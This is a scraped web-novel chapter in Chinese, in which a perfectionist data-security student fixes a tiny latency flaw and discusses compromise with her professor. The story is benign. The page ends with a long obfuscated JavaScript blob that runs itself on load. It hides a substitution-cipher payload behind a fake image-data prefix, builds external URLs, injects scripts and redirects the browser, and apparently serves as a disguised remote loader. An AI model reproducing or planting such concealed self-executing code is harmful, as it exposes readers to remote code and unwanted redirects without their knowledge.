首页
前传第43章 极致较真,容不
返回
关灯 护眼:关 字号:小

前传第43章 极致较真,容不得半点纰漏

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第43章极致较真,容不得半点纰漏(第1/2页)
    夏末的风卷着梧桐碎叶,掠过江城信息技术研究院的落地窗,带着初秋难得的清透凉意。
    午后的阳光滤过双层玻璃,柔和地铺在光洁的白色实验桌面上,落在一排排整齐罗列的代码屏幕上,蓝光细碎,映亮了窗边静坐的年轻女孩。
    林晚今年二十岁,就读于江城顶级理工学府数据安全专业大三,是整个学院乃至江城科创圈最负盛名的天才新人。
    不同于多数理工学子的沉闷木讷,年少的林晚生得眉目清润,眉眼弯弯时带着干净澄澈的少年气,皮肤是常年泡在实验室里的通透白皙,一身简单的白色纯棉衬衫,袖口规规矩矩挽到小臂,露出纤细干净的手腕。坐姿挺直端正,脊背从未有半分松懈,哪怕是久坐调试代码,也始终保持着一丝不苟的姿态。
    此刻实验室里很静。
    正值暑期科创集训尾声,偌大的国家级数据安全实验室里,其余参与集训的学生早已趁着午后休息结伴离开,或是去食堂纳凉,或是结伴打磨竞赛项目,唯独林晚一人留守在此。
    整间屋子只剩下主机轻微的嗡鸣声响,伴随着她指尖敲击键盘清脆规律的哒哒声,平稳、急促,却从无半分慌乱错漏。
    屏幕之上,是一套自主搭建的基础数据防护模拟系统,是林晚耗时半月,独立打磨的科创竞赛核心项目。
    屏幕侧边的调试日志密密麻麻,滚动着上千行数据代码,每一行参数、每一组加密逻辑、每一道防护链路,都是她逐字逐句打磨、反复校验的成果。
    旁人做科创项目,只求功能成型、逻辑通顺、可以参赛结题,便足以交差、博取奖项、堆砌履历。
    但林晚不一样。
    她的世界里,从来没有“差不多”“过得去”“勉强合格”这几个字。
    极致较真,是刻在她骨血里的天性。
    从踏入数据安全专业的第一天起,她就比身边所有同学都更清醒地明白,代码不是课堂上用来得分的习题,系统不是竞赛场上用来增色的作品。
    数据安全这四个字,从来不是纸上谈兵的理论,不是光鲜亮丽的科创头衔,而是守护万千用户信息、隔绝网络风险、抵御数据泄露的最后一道防线。
    一行代码疏漏,一处参数偏差,一道逻辑漏洞,落在课堂上只是一分两分的扣分失误,可若是落在真实的互联网世界,落在商用数据系统之中,便是无数普通人隐私泄露、信息被盗、权益受损的无底深渊。
    可以容错的是考试,绝不能容错的是安全。
    这是林晚从踏入这个专业开始,就牢牢刻在心底的准则,也是她极致较真、容不得半点纰漏的根源。
    指尖的敲击声骤然停下。
    林晚澄澈的眼眸微微一凝,视线死死锁定屏幕角落一行跳动的灰色调试数据。
    整条防护链路运行流畅,加密解析、风险拦截、溯源监测所有核心功能全部正常,系统跑分远超同期参赛作品,放在一众学生项目里,已然是碾压级别的优秀成品。
    哪怕是带队的教授看过,也连连夸赞完美无缺,足以稳拿省级科创竞赛金奖。
    可只有林晚自己知道,这里藏着一处微乎其微、几乎无人能够察觉的隐性偏差。
    是一组毫秒级的响应延迟。
    在高强度模拟攻防测试中,系统末端风险溯源模块,会出现0.03秒的被动卡顿延迟。
    这个误差微小到极致,肉眼无法分辨,常规系统检测工具不会预警,人工筛查极易忽略,不影响整体功能运行,不干扰最终防护效果,甚至在所有竞赛评分标准里,完全属于可忽略的正常浮动范围。
    换做任何一个同龄人,甚至多数从业数年的初级技术员,都会直接忽略不计。
    可林晚的指尖,没有丝毫犹豫,直接撤回了即将保存定稿的操作。
    她微微俯身,眸光专注凝重,纤长的指尖在键盘上快速滑动,调取底层原始数据,逐层拆解链路逻辑,从前端交互到后端加密,从端口适配到算法适配,从上千行代码里,逐行溯源、层层排查。
    阳光慢慢偏移角度,从桌面正中移到边角,时光一分一秒悄然流逝。
    半小时,一小时,两小时。
    窗外的蝉鸣起了又落,走廊里的人声来来去去,实验室始终安静得只剩主机嗡鸣。
    林晚始终维持着紧绷专注的姿态,眉头微蹙,眼神沉静,没有半分焦躁,也没有半分敷衍。
    身边的手机屏幕亮了又暗,是同班同学发来的消息,催促她一起聚餐放松,调侃她太过较真、自找苦吃。
    【项目都完美通关了,教授都盖章认可了,你还死磕什么?没必要追求绝对完美,竞赛而已,差不多就行!】
    【太卷了林晚,你这较真的性子,以后工作了会很累的,职场没人等你完美调试!】
    一条条消息弹出,字字句句,都是旁人习以为常的“差不多主义”。
    林晚扫了一眼,指尖微动,直接调成静音,没有回复。
    她从不辩驳,也从不试图说服别人。
    道不同,不必为谋。
    旁人追求的是合格、是出彩、是履历光鲜,而她追求的是无错、是稳妥、是绝对安心。
    数据安全的底线,从来都不是“够用就好”。
    又过半个时辰,林晚指尖一顿,眼底终于掠过一丝了然。
    找到了。
    不是代码书写错误,不是算法逻辑漏洞,而是底层适配参数的细微兼容偏差。在常规网络环境下完全隐匿,一旦遭遇高密度、高强度的批量数据攻击,这0.03秒的延迟漏洞,就会被无限放大,成为整个防护系统的致命缺口。
    微小瑕疵,亦是隐患。
    隐患不除,终成大错。
    她没有半分迟疑,立刻着手修改参数、重构适配逻辑、优化链路衔接。
    一遍遍调试,一遍遍运行,一遍遍攻防模拟。
    系统反复重启,数据反复刷新,原本完美无瑕的项目,被她一次次推翻微调,哪怕只是千分之一的误差,也绝不姑息。
    傍晚时分,晚霞透过落地窗洒入室内,染遍一室温柔橘红。
    当最后一组测试数据完美归零,整条防护链路零延迟、零偏差、零漏洞稳定运行,所有隐性隐患彻底清零,林晚才长长舒了一口气,紧绷了一下午的脊背缓缓放松,眼底浮出一抹浅浅的、纯粹的笑意。
    (本章未完,请点击下一页继续阅读)前传第43章极致较真,容不得半点纰漏(第2/2页)
    不是为了即将到手的金奖荣誉,只是为了一份心安。
    心安,是她对技术、对行业、对所有潜在用户,最基本的敬畏。
    “总算彻底稳妥了。”
    她轻声自语,嗓音清软温柔,带着少年人独有的赤诚热烈。
    这一年的林晚,才二十岁。
    尚且没有经历日后职场的倾轧、资本的裹挟、人心的复杂,没有背负那场颠覆她人生的职业阴影与心理枷锁。
    此刻的她,明媚、热烈、纯粹、坦荡,满心满眼都是对数据安全技术最本真的热爱。
    她相信技术向善,相信严谨可抵万错,相信极致认真能规避所有风险,相信只要自己足够较真、足够努力、足够细致,就可以守住所有安全底线,杜绝一切数据纰漏。
    这份近乎偏执的严谨,让她在学生时代一路开挂、所向披靡。
    从小到大,她的所有作业、所有项目、所有科创成果,从来没有一次失误、一处漏洞。老师赞她天赋卓绝、心性沉稳,同学羡她一帆风顺、自带光环,所有人都觉得,她天生就是吃数据安全这碗饭的天才。
    年少成名,顺风顺水,是贴在林晚身上最鲜明的标签。
    无人知晓,这份光鲜顺遂的背后,是千万次无人看见的反复打磨,是绝不将就的自我苛责,是极致到苛刻的职业本心。
    收拾桌面时,实验室的门被轻轻推开。
    带队的张教授缓步走了进来,年过五十的老教授深耕数据安全行业三十年,见惯了浮躁功利的年轻学子,早已很少对年轻人动心,可看向林晚的眼神,却满是难掩的欣赏与赞许。
    “还没走?还在调试项目?”张教授走到电脑前,低头看向屏幕上完美无瑕的运行数据,眼底微光闪动,“我下午看过你的成品,已经是本届集训最优作品,完全可以直接定稿参赛,没必要这么耗着。”
    林晚起身,恭敬点头,语气坦然真诚:“教授,看似没有问题,实则有隐性适配漏洞。竞赛环境稳定,体现不出隐患,但真实网络环境复杂多变,任何一点微小纰漏,都可能酿成风险。做安全的,不能赌运气,只能堵漏洞。”
    简简单单一句话,没有华丽辞藻,没有刻意标榜,却字字落地有声。
    张教授闻言一怔,随即深深点头,眼底的赞许更甚,甚至多了几分动容。
    他从教三十年,带过无数天赋出众的学生。
    有人恃才傲物,空有天赋却心浮气躁;有人功利至上,只为奖项深耕技术;有人敷衍了事,得过且过应付学业。
    天赋易得,本心难求,极致的敬畏与较真,更是万里挑一。
    “你这性子,很难得。”张教授看着眼前澄澈赤诚的少女,缓缓开口,“做技术的,聪明是天赋,严谨是底线。太多年轻人本末倒置,追逐名利,轻视细节,最后栽在不起眼的纰漏之上。你能守住这份较真,未来可期。”
    他顿了顿,语重心长地叮嘱:“但林晚,老师也要多劝你一句。
    极致较真,是你的天赋,也是你的软肋。
    校园里、竞赛中,你可以追求绝对完美,可控、可控修改、可控复盘。可未来真正踏入职场,进入行业,对接商用项目,你会发现,资本要速度、公司要收益、市场要效率,没有人愿意为零漏洞无限耗时,没有人会等你极致打磨。”
    “行业里永远有妥协,有取舍,有不得已的将就。太过追求完美,太过苛求无错,最后困住的,只会是你自己。”
    这番话,是一位行业老者半生的经验,也是提前给天才少女的善意预警。
    只是此刻的林晚,尚且听不懂话里的深意。
    她眉眼清澈,语气坚定:“教授,安全没有取舍,风险不能妥协。既然做了数据防护,就该护得万无一失。如果明知有漏洞却刻意将就,明知有风险却放任不管,那我们所学的技术,就失去了原本的意义。”
    二十岁的少女,眼底有光,心底有火,坚守着最纯粹、最刚性的职业底线。
    她相信规则,相信严谨,相信人定胜天,相信所有失误,都源于不够用心、不够细致、不够较真。
    她从未想过,未来有一天,她拼尽全力想要守住的完美底线,会被世俗规则、资本利益、人心算计彻底击碎。
    她从未预知,自己极致较真、容不得半点纰漏的本心,有朝一日,会变成困住自己数年、难以挣脱的心理牢笼。
    张教授看着她眼底纯粹热烈的光,没有再多劝,只是轻轻叹了口气,含笑点头:“好。守住本心,亦是幸事。但愿你以后,永远能守住这份赤诚。”
    他阅人无数,已然预见这个孩子未来的风雨。
    太干净、太较真、太有底线的人,在功利浮躁的职场江湖里,注定要吃苦,注定要受伤。
    只是成长的阵痛,从来都只能自己亲历,无人能够替代。
    夕阳渐渐沉落,晚霞染红半边天空。
    林晚关掉电脑,认真保存好所有项目源码与调试记录,将桌面收拾得一尘不染,每一份文档分类规整,每一组数据备份存档,依旧是极致严谨、毫无疏漏的模样。
    背上简单的双肩包,她告别教授,走出实验室。
    走廊的晚风迎面吹来,温柔清爽,拂动她额前的碎发。
    少年的前路坦荡明亮,没有阴霾,没有枷锁,没有挥之不去的心理阴影。
    彼时的林晚,还不知道命运早已暗中埋下伏笔。
    她此刻有多笃信“极致较真便可万无一失”,未来崩塌之时,就有多彻底、多疼痛。
    她此刻有多厌恶半点疏漏、半点纰漏,日后遭遇无妄失误、无力回天之时,就有多自我否定、深陷沉沦。
    世间所有的执念,皆为宿命。
    世间所有的软肋,皆源于天赋。
    这条路,她以赤诚初心启程,以极致较真铺路,终将在不久的将来,历经风雨坎坷,完成一场脱胎换骨的成长与救赎。
    晚风悠长,少年明朗。
    彼时她尚不知,所有的完美坚守,都是来日最沉的行囊;所有的不容纰漏,终将成为最深的心结。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();